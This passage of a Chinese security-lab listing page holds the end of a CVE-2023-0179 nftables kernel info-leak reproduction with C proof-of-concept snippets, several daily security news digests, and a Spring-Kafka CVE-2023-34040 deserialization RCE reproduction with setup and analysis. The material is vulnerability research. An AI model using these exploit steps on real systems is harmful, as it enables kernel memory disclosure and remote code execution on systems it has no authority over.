至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。 漏洞验证 可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置 nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。 ... if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL)) { perror("[-] create table"); exit(-1); } /* 2. create chain */ printf("[2] create chain\n"); struct unft_base_chain_param up; up.hook_num = NF_NETDEV_INGRESS; up.prio = INT_MIN; if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name)) { perror("[-] create chain"); exit(-1); } ... 然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5 rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00); 可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。 可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。 为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下: //创建集合 struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family) { struct nftnl_set *s = NULL; s = nftnl_set_alloc(); if (s == NULL) { perror("OOM"); exit(EXIT_FAILURE); } nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(s, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4); /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We * should place these datatypes in a public header so third party * applications still work with nftables. */ nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据 nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4); nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据 nftnl_set_set_u32(s, NFTNL_SET_ID, 1); nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存储数据 return s; } 在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下: void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data) {    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值    nftnl_rule_add_expr(r, expr); } 这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。 int send_packet() {    int sockfd;    struct sockaddr_in addr;    char buffer[] = "This is a test message";    char *interface_name = "vlan.10";  // double-tagged packet    int interface_index;    struct ifreq ifr;    memset(&ifr, 0, sizeof(ifr));    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);    if (sockfd < 0) {        perror("[-] Error creating socket");        return 1;   }    // Set the SO_BINDTODEVICE socket option    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {        perror("[-] Error setting SO_BINDTODEVICE socket option");        return 1;   }    memset(&addr, 0, sizeof(addr));    addr.sin_family = AF_INET;    addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destination    addr.sin_port = htons(1337);        // Send the UDP packet    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {        perror("[-] Error sending UDP packet");        return 1;   }    close(sockfd);    return 0; } 可以看到最终完成了内核信息的泄露。 完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c 漏洞利用 利用JUMP调整stacksize 设置寄存器的值 利用nft_payload_copy_vlan触发漏洞拷贝payload
网络安全日报 2023年11月07日
1、“Looney Tunables”Glibc 漏洞在云攻击中被利用 https://www.securityweek.com/looney-tunables-glibc-vulnerability-exploited-in-cloud-attacks/ 最近在 GNU C 库 (glibc) 中修补的一个严重权限升级漏洞已被一个以使用 Kinsing 恶意软件及其加密劫持操作而闻名的威胁组织用于云攻击。 该安全漏洞编号为 CVE-2023-4911,名为Looney Tunables,已被发现影响主要 Linux 发行版,包括 Debian、Gentoo、Red Hat 和 Ubuntu。它允许本地攻击者以提升的权限执行任意代码。 2、微软表示 ZDI 披露的 Exchange“零日漏洞”已经修补或并不紧急 https://www.securityweek.com/microsoft-says-exchange-zero-days-disclosed-by-zdi-already-patched-or-not-urgent/ 微软表示,趋势科技零日计划 (ZDI) 上周披露的四个 Exchange 漏洞要么已经得到修补,要么不需要立即关注。 3、勒索软件攻击利用严重 Confluence 漏洞(CVE-2023-22518) https://securityaffairs.com/153732/security/confluence-flaw-ransomware-attacks.html 专家警告威胁行为者开始利用 Confluence 数据中心和 Confluence 服务器中最近的严重缺陷 CVE-2023-22518 4、QNAP 修复了 QTS 操作系统和应用程序中的两个严重漏洞 https://securityaffairs.com/153714/security/qnap-command-injection-flaws.html 中国台湾供应商 QNAP 警告其 NAS 设备上的 QTS 操作系统和应用程序存在两个严重的命令注入漏洞。 5、攻击者滥用 GOOGLE 日历服务作为 C2 基础设施 https://securityaffairs.com/153700/hacking/google-calendar-rat-attacks.html 谷歌警告多个威胁参与者正在利用其日历服务作为命令和控制(C2)基础设施。多个威胁参与者共享一个名为“Google Calendar RAT”的公共概念验证(PoC)漏洞,该漏洞依赖日历服务来托管命令和控制(C2)基础设施。 6、Okta 最近的客户支持数据泄露影响了 134 名客户 https://thehackernews.com/2023/11/oktas-recent-customer-support-data.html 身份和身份验证管理提供商 Okta 周五透露,最近的支持案例管理系统漏洞影响了其 18,400 名客户中的 134 名。 7、研究人员发现名为Socks5Systemz的代理僵尸网络 https://www.bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey 研究人员发现了一个由恶意软件PrivateLoader和Amadey传播的代理僵尸网络,这两个加载器经常被攻击者用来传播一种恶意软件并建立僵尸网络,研究人员将此种用于构建代理僵尸网络的恶意软件命名为Socks5Systemz。这个代理恶意软件并不是新发现的,在Twitter上最早可以追溯到2016年。研究人员发现了与这个恶意软件相关的几个服务器,以及一个Telegram用户,他通过利用这个代 8、北约在5G演习中试用“抗量子”加密 https://www.secrss.com/articles/60270 根据主办方提供的一份新闻稿,重点领域之一就是让演示者展示如何利用虚拟现实技术、安全的后量子加密技术和传感器融合技术提高指挥和控制能力。 9、全球近50个国家签署倡议:承诺永不向网络犯罪团伙支付赎金 https://www.secrss.com/articles/60249 在华盛顿特区举办的第三届国际反勒索软件倡议峰会上,近50个国家将签署有史以来首个联合反勒索软件倡议政策声明——其政府机构将停止向勒索软件团伙支付赎金。 10、Microsoft承诺加强安全性,作为“安全未来”计划的一部分 https://www.bleepingcomputer.com/news/microsoft/microsoft-pledges-to-bolster-security-as-part-of-secure-future-initiative/ Microsoft宣布了“安全未来计划”,承诺提高其产品和平台的内置安全性,以更好地保护客户免受不断升级的网络安全威胁。如果该公司兑现其承诺,这将通过解决眼前的问题并预测全球日益复杂的攻击带来的未来挑战来增强客户安全性。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月06日
1、BlackCat勒索团伙声称对医疗公司Henry Schein进行攻击 https://www.bleepingcomputer.com/news/security/blackcat-ransomware-claims-breach-of-healthcare-giant-henry-schein/ BlackCat勒索团伙(ALPHV)将医疗公司Henry Schein添加到其数据泄露网站的受害者名单中,声称他们侵入了该公司的网络,并窃取了35TB的敏感文件,包括工资数据和股东信息。该团伙称,由于谈判未能成功,正当Henry Schein几乎完成了所有系统的恢复工作时,他们再次加密了公司的设备。BlackCat勒索团伙在其数据泄露网站上删除了有关Henry S 2、HelloyKitty勒索软件利用Apache ActiveMQ漏洞进行攻击 https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/ HelloKitty勒索软件正在利用Apache ActiveMQ远程代码执行(RCE)漏洞来侵入网络并进行勒索攻击。该漏洞被标记为CVE-2023-46604,是一个高危(CVSS v3评分:10.0)的RCE漏洞,允许攻击者通过利用OpenWire协议中的序列化类类型执行任意shell命令。该漏洞在2023年10月25日的安全更新中得到解决,但研究人员于10月27日发现攻击者正在 3、墨西哥克雷塔罗洲际机场遭受网络攻击 https://therecord.media/queretaro-international-airport-mexico-cyberattack 墨西哥克雷塔罗国际机场证实遭受网络攻击,表示此次攻击可追溯到一名员工下载的包含恶意软件的文件,并称机场的运营安全没有受到损害,应急小组已经控制并隔离了这次攻击,而且已经与相关机构进行联系。LockBit勒索团伙宣称对此次事件负责,并威胁将在11月27日泄露数据。 4、思科修复其网络安全产品中的27个安全漏洞 https://www.securityweek.com/cisco-patches-27-vulnerabilities-in-network-security-products/ 思科发布了一系列软件更新,以解决自适应安全设备(ASA)、Firepower管理中心(FMC)和Firepower威胁防御(FTD)产品中的27个安全漏洞。其中最严重的漏洞是CVE-2023-20048(CVSS评分为9.9),这是FMC中的一个命令注入漏洞,由Web服务接口发送的配置命令的授权不足而引起。其中的8个中危漏洞可能导致拒绝服务、任意文件下载、SAML声明劫持、跨站脚本(XSS)攻击、策略绕过、检测 5、美国航空公司飞行员工会遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/american-airlines-pilot-union-hit-by-ransomware-attack/ 美国飞行员协会(APA)披露了发生在其系统中的勒索软件攻击事件。该工会在一份声明中表示,10月30日该工会经历了一起网络安全事件。尽管调查仍在进行中,但已经确定了这次事件是由于勒索软件引起的,某些系统已被加密。APA尚未透露在攻击中是否泄漏了飞行员的个人信息或受影响的个人数量。 6、研究人员发现WhatsApp的第三方恶意组件 https://securelist.com/spyware-whatsapp-mod/110984/ 研究人员在WhatsApp的修改版本中发现恶意组件。篡改的客户端清单包含了在原始WhatsApp客户端中找不到的可疑组件(一个服务和一个广播接收器)。广播接收器用以监听系统和其他应用程序的广播消息,例如手机开始充电、收到短信或下载器完成下载等。当接收器收到这样的消息时,它调用事件处理程序。在WhatsApp间谍修改版本中,接收器运行一个服务,当手机开机或开始充电时启动间谍模块。该服务会查看恶意软件代码中的Application_DM常量,以选择受感染设备将连接的命令和控制(C&C)服务器。 7、微软Exchange受到0day漏洞的影响 https://www.bleepingcomputer.com/news/microsoft/new-microsoft-exchange-zero-days-allow-rce-data-theft-attacks/ Microsoft Exchange受到四个零日漏洞的影响,攻击者可以远程利用这些漏洞来执行任意代码或泄露敏感信息。研究人员向微软报告了这些漏洞,尽管微软证实了这些漏洞,但其安全工程师认为这些漏洞不足以立即提供服务,因此推迟了修复。所有这些漏洞都需要进行身份验证才能被利用,这导致这些漏洞的CVSS评分可能介于7.1和7.5之间。此外,需要身份验证才能进行漏洞利用可能是微软没 8、新加坡公共卫生服务受到DDoS攻击 https://therecord.media/singapore-public-health-services-ddos-attack 一家监督新加坡公共卫生机构的健康技术机构Synapxe表示,黑客通过分布式拒绝服务(DDoS)攻击中断了新加坡公共卫生保健机构的互联网连接。新加坡所有公共卫生保健集群的互联网连接中断始于周三,持续约七个小时。在此期间,员工无法访问网站、电子邮件和生产工具等服务。DDoS攻击通过向网站发送垃圾互联网流量来阻止合法用户访问它们,该机构表示,目前没有证据表明公共卫生保健或患者数据以及内部网络已经遭受了侵犯。根据该机构的说法,对新加坡卫生保健机构的DDoS攻击仍在 9、时隔八年,通用漏洞评分系统标准CVSS v4.0正式发布 https://thehackernews.com/2023/11/first-announces-cvss-40-new.html 近日,事故响应与安全团队论坛(FIRST)正式发布了通用漏洞评分系统标准CVSS v4.0,这个全新版本距离上一版 CVSS v3.0 已经过去了八年。 10、LAZARUS通过新的KANDYKORN MACOS 恶意软件瞄准区块链工程师 https://securityaffairs.com/153622/hacking/lazarus-kandykorn-malware.html Lazarus 组织正在使用新的 KandyKorn macOS 恶意软件来攻击区块链工程师。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Kafka反序列化RCE漏洞(CVE-2023-34040)
漏洞描述 Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置 ErrorHandlingDeserializer,当用户将容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true(默认为 false),并且允许不受信任的源发布到 Kafka 主题中时,攻击者可将恶意 payload 注入到 Kafka 主题中,当反序列化记录头时远程执行任意代码。 影响版本 2.8.1 <= Spring-Kafka <= 2.9.103.0.0 <= Spring-Kafka <= 3.0.9 漏洞复现 这一个漏洞所影响的组件其实是 Spring-Kafka,严格意义上来说并不算是 kafka 的漏洞,应该算是 Spring 的漏洞。 漏洞前置知识 先来看一看 SpringBoot 和 Kafka 是怎么完成通讯/消费的 工作流程如下 1、生产者将消息发送到 Kafka 集群中的某个 Broker(也可以是多个)2、Kafka 集群将消息存储在一个或多个分区中,并为每个分区维护一个偏移量3、消费者订阅一个或多个主题,并从 Kafka 集群中读取消息。4、消费者按顺序读取每个分区中的消息,并跟踪每个分区的偏移量。 ErrorHandlingDeserializer:是 Kafka中的一种反序列化器(Deserializer),它可以在反序列化过程中处理异常和错误。 checkDeserExWhenKeyNull && checkDeserExWhenValueNull:是 Kafka 中的一种序列化器(Serializer),它可以在序列化过程中检查键(key/value)是否为 null,并在发现值为 null 时抛出异常。 再简单整理一下漏洞条件 在受到影响的版本中,默认未对记录配置 ErrorHandlingDeserializer容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true 环境搭建 其中需要我们起一个 Kafka 的服务,用来接收消息,本机上起比较麻烦,可以在 vps 上用 docker 迅速搭建,且需注意,Kafka 要能够接受外连,docker-compose.yml 如下 version: '2' services: zookeeper:   image: zookeeper   restart: always   ports:     - "2181:2181"   container_name: zookeeper kafka:   image: wurstmeister/kafka   restart: always   ports:     - "9092:9092"     - "9094:9094"   depends_on:     - zookeeper   environment:     KAFKA_ADVERTISED_HOST_NAME: 124.222.21.138     KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181     KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094     KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://124.222.21.138:9092,SSL://124.222.21.138:9094     KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL     KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT   container_name: kafka Spring Kafka 的生产者和消费者可以通过使用 Spring Kafka 提供的 KafkaTemplate 和 `@KafkaListener 注解来编写。 生产者可以使用 KafkaTemplate 来发送消息到 Kafka 集群: package com.drunkbaby.springkafkatest.controller;     import com.drunkbaby.springkafkatest.common.KafkaInfo;   import org.springframework.beans.factory.annotation.Autowired;   import org.springframework.kafka.core.KafkaTemplate;   import org.springframework.kafka.support.SendResult;   import org.springframework.util.concurrent.ListenableFuture;   import org.springframework.web.bind.annotation.PostMapping;   import org.springframework.web.bind.annotation.RequestMapping;   import org.springframework.web.bind.annotation.RestController;     import java.time.LocalDateTime;   import java.util.concurrent.ExecutionException;     @RestController   @RequestMapping("/producer")   public class ProducerController {      @Autowired      private KafkaTemplate<String,String> kafkaTemplate;        @PostMapping("/fireAndForget")      public String fireAndForget() {          kafkaTemplate.send(KafkaInfo.TOPIC_WELCOME, "fireAndForget:" + LocalDateTime.now());          return "success";     }   } 消费者可以使用 @KafkaListener 注解来监听 Kafka 集群中的消息: package com.drunkbaby.springkafkatest.consumer;     import com.drunkbaby.springkafkatest.common.KafkaInfo;   import org.springframework.kafka.annotation.KafkaListener;   import org.springframework.messaging.MessageHeaders;   import org.springframework.messaging.handler.annotation.Headers;   import org.springframework.messaging.handler.annotation.Payload;   import org.springframework.stereotype.Component;     @Component   public class Consumer {      @KafkaListener(topics = KafkaInfo.TOPIC_WELCOME)      public String consumer2(@Payload String message, @Headers MessageHeaders headers) {          System.out.println("消费者(注解方式):收到消息==> ");          System.out.println(" message:" + message);          System.out.println(" headers:");          headers.keySet().forEach(key -> System.out.println("   " + key + ":" + headers.get(key)));          return "success";     } 连接成功 访问 http://localhost:8083/producer/sync 发送一条记录 构造 payload 实际影响到的是 Consumer,且 Consumer 要设置 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 为 true ConcurrentKafkaListenerContainerFactory<String, Greeting> factory = new ConcurrentKafkaListenerContainerFactory<>();   factory.getContainerProperties().setCheckDeserExWhenValueNull(true);   factory.getContainerProperties().setCheckDeserExWhenKeyNull(true); payload 参考 https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040 漏洞分析 主要是来看反序列化的部分 断点会先走到 org.springframework.kafka.listener.ListenerUtils#getExceptionFromHeader 方法,它这里面会获取到 PoC 中的 KEY_DESERIALIZER_EXCEPTION_HEADER,并将其作为 headers 往下跟进 byteArrayToDeserializationException() 方法,这里就直接到反序列化的部分了,而在反序列化之前做了一次 resolveClass() 的校验。 而这里的 resolveClass() 校验是一次性的,这就代表我们可以构造其他的 Payload,如 CC 链等,证实是可以打通的 之后便会进入到对应类的 readObject() 方法 漏洞修复 https://github.com/spring-projects/spring-kafka/commit/25ac793a78725e2ca4a3a2888a1506a4bfcf0c9d相当于把这里的 header 头加黑了
网络安全日报 2023年11月03日
1、APT组织DoNot利用恶意软件监听受害者的VoIP通话 https://cyble.com/blog/donot-apt-expands-its-arsenal-to-spy-on-victims-voip-calls/ DoNot,又名APT-C-35,是一个自2016年以来活跃的APT组织。这个APT组织持续针对政府和军事组织、外交部和南亚国家的大使馆进行网络公攻击动活动,并已被观察到针对Windows和安卓平台进行攻击。研究人与近期发现了DoNot组织使用的新版本安卓恶意软件,可能针对印度克什米尔地区的用户。该组织利用了GitHub上的一个开源项目,并添加了恶意代码以进行拓展。新版本的恶意软件现在含有更多功能,如录制VoIP通话,从消息和社 2、攻击者利用Citrix Bleed漏洞进行攻击活动 https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966 Citrix Bleed(CVE-2023-4966)漏洞于10月10日被披露,被认为是影响Citrix NetScaler ADC和NetScaler Gateway的严重漏洞,攻击者能够利用该漏洞访问设备上的敏感信息.攻击者正在利用Citrix Bleed(CVE-2023-4966)漏洞,针对美洲、欧洲、非洲和亚太地区的政府、技术和法律组织进行攻击。研究人员称,有四个正在进行的攻击活动针对易受攻击的Citrix NetScaler 3、研究人员发现数十个易受攻击的Windows驱动程序 https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html 研究人员发现数十个以前未知的易受攻击的内核驱动程序,这些驱动程序可能被攻击者用来更改固件或提升权限。研究人员使用Yara规则收集了大约18000个Windows驱动程序样本,在排除已知易受攻击的驱动程序后,研究人员识别出与34个独特的以前未知易受攻击的驱动程序相关的数百个文件哈希值,其中一些驱动程序属于主要的BIOS、PC和芯片制造商。研究人员向相关厂家进行了通报,但目前只有两家公司修复了漏洞。研究人员已经为一些易受攻击的驱动程序开 4、波音公司证实其零部件和分销业务受到网络攻击 https://www.theregister.com/2023/11/02/boeing_cyber_incident/ 在LockBit勒索团伙称从波音公司窃取了敏感数据的几天后,波音公司证实其遭受网络攻击。波音称,此次网络攻击事件没有影响飞行安全,并正在与相关机构协调调查此次事件。LockBit勒索团伙声称对这家航空巨头进行了网络攻击,将波音列为受害者之一,并给了该公司六天的时间进行谈判。该团伙称他们利用一种零日漏洞访问波音公司的系统。LockBit已从该网站中移除了波音,并表示这是因为他们开始与这家航空公司进行谈判。目前波音公司尚未发表事件的起因以及更多详细内容。 5、严重的 Apache ActiveMQ 漏洞被利用来传播勒索软件 https://www.securityweek.com/critical-apache-activemq-vulnerability-exploited-to-deliver-ransomware/ 最近修补的 Apache ActiveMQ 漏洞(编号为 CVE-2023-46604)正被用来传播勒索软件。CVE-2023-46604 已通过版本 5.15.16、5.16.7、5.17.6 和 5.18.3 的发布进行了修补,Apache ActiveMQ 用户应尽快安装这些版本。 6、思科修补网络安全产品中的 27 个漏洞 https://www.securityweek.com/cisco-patches-27-vulnerabilities-in-network-security-products/ 思科周三发布了软件更新,解决了自适应安全设备 (ASA)、Firepower 管理中心 (FMC) 和 Firepower 威胁防御 (FTD) 产品中总共 27 个漏洞。 7、被发现 117 个漏洞后,微软暂时禁用 SketchUp 支持 https://www.securityweek.com/microsoft-temporarily-disables-sketchup-support-after-discovery-of-117-vulnerabilities/ Zscaler 的 ThreatLabz 研究团队在 Microsoft 365 添加对 SketchUp (SKP) 文件的支持后,在 Microsoft 365 应用程序中发现了 117 个独特漏洞。 8、黑客正在利用 Citrix Bleed 漏洞攻击全球政府网络 https://www.freebuf.com/news/382563.html 黑客正在利用 "Citrix Bleed "漏洞(被追踪为 CVE-2023-4966)攻击美洲、欧洲、非洲和亚太地区的政府机构、技术和法律组织。 9、中国民航局回应“旅客信息泄露”:正编制文件加强数据保护 https://www.thepaper.cn/newsDetail_forward_25106423 近日,有网友呼吁严查旅客航班信息泄露及利用其诈骗问题,中国民用航空局在答复中表示,正在编制相关文件,进一步加强对重要数据的保护。 10、40个国家将承诺停止向勒索软件团伙支付赎金 https://www.bleepingcomputer.com/news/security/dozens-of-countries-will-pledge-to-stop-paying-ransomware-gangs/ 由 40 个国家组成的联盟将在华盛顿特区举行的第三届国际反勒索软件倡议年度峰会上签署承诺,停止支付网络犯罪组织索要的赎金。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月02日
1、攻击者利用恶意的NuGet包传播恶意程序 https://www.reversinglabs.com/blog/iamreboot-malicious-nuget-packages-exploit-msbuild-loophole NuGet是一个开源软件包管理器和软件分发系统,使开发人员能够下载并为其项目包含现成的.NET库。研究人员于2023年10月15日发现了最新的NuGet恶意活动,该活动利用多种不同的软件包传播恶意软件。此次攻击活动的特别之处在于,这些软件包没有使用在安装脚本中包含下载程序的标准方法,而是利用NuGet的MSBuild集成来执行代码。研究人员称,早期的攻击活动使用PowerShell脚本从GitHub存储库 2、研究人员公开Wyze Cam v3设备RCE漏洞的PoC https://www.bleepingcomputer.com/news/security/rce-exploit-for-wyze-cam-v3-publicly-released-patch-now/ 一位安全研究人员发布了一个针对Wyze Cam v3设备漏洞的概念验证(PoC)代码,该漏洞允许攻击者接管易受攻击的设备。该研究员在最新的Wyze Cam v3固件中发现了两个漏洞,这两个漏洞能够被联合利用,从而在易受攻击的设备上远程执行代码。漏洞经过测试并确认可在固件版本4.36.10.4054、4.36.11.4679和4.36.11.5859上使用。Wyze发布了固件更新版本4.3 3、印度医学研究委员会泄露8.15亿印度人的相关数据 https://thecyberexpress.com/covid-data-leak-sourced-icmr-samples-verified 攻击者在黑客论坛中发布帖子,声称出售8.15亿印度人的新冠肺炎检测数据,数据来源于印度医学研究委员会(ICMR),其中包括姓名、电话号码、地址,以及护照信息和身份号码。该攻击者在黑客论坛中的用户名为pwn001,于2023年10月9日发布了出售印度新冠病毒检测数据的帖子,并在其中附上部分数据样本。一名分析员确认这些数据中含有真正的身份号码,并且印度相关机构已验证泄露数据的真实性。印度计算机应急小组(Cert-In)已就ICMR新冠病毒数据泄露的消 4、英国国家图书馆遭受网络攻击 https://www.bleepingcomputer.com/news/security/british-library-knocked-offline-by-weekend-cyberattack/ 10月28日,英国国家图书馆遭受网络攻击,此次事件影响了其系统,导致其网站和许多服务发生重大IT中断。持续的IT中断还影响了其他服务,包括电话线和现场图书馆服务。一位发言人称该图书馆正在国家网络安全中心(NCSC)和网络安全专家的支持下调查这起事件,但没有说明事件中属于客户或员工的个人或财务信息是否被窃取,也还未提供有关攻击性质以及攻击者如何破坏其系统的详细信息。 5、Meta 在欧洲推出付费无广告订阅以满足隐私法 https://thehackernews.com/2023/10/meta-launches-paid-ad-free-subscription.html Meta 周一宣布计划为欧盟 (EU)、欧洲经济区 (EEA) 和瑞士的用户提供访问 Facebook 和 Instagram 的无广告选项,以遵守该地区“不断发展”的数据保护法规。 6、俄罗斯黑客访问美司法部、国防部超过 600,000 名雇员的数据 https://thecyberexpress.com/us-federal-employees-data-breach/ 黑客利用 MOVEit 中的弱点渗透到美国联邦雇员数据系统中,导致未经授权访问敏感数据。 7、美国总统拜登签署白宫首个生成式AI监管规定 https://www.secrss.com/articles/60173 要求对人工智能进行新的安全评估、公平和民权指引,以及对劳动力市场影响的研究。 8、英国NCSC敲响警钟:78%学校遭受网络攻击 https://www.anquanke.com/post/id/291126 为了应对教育领域日益严重的网络安全威胁,英国国家网络安全中心(NCSC) 宣布启动一项新举措 ,旨在防止学校网络用户访问恶意网站。 9、国家安全部:数百个非法涉外气象探测站点向境外传输数据 https://www.secrss.com/articles/60171 今年以来,国家安全机关会同气象、保密等部门在全国范围内依法开展涉外气象探测专项治理,调查境外气象设备代理商10余家,检查涉外气象站点3000余个,发现数百个非法涉外气象探测站点实时向境外传输气象数据,广泛分布在全国20多个省份,对我国家安全造成风险隐患。 10、MITRE 发布 ATT&CK v14,改进了检测、ICS、移动设备相关内容 https://www.securityweek.com/mitre-releases-attck-v14-with-improvements-to-detections-ics-mobile/ MITRE 周二宣布发布 ATT&CK 第 14 版,这是广泛使用的对手战术和技术知识库。ATT&CK v14 带来了与检测、工业控制系统 (ICS) 和移动相关的改进。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页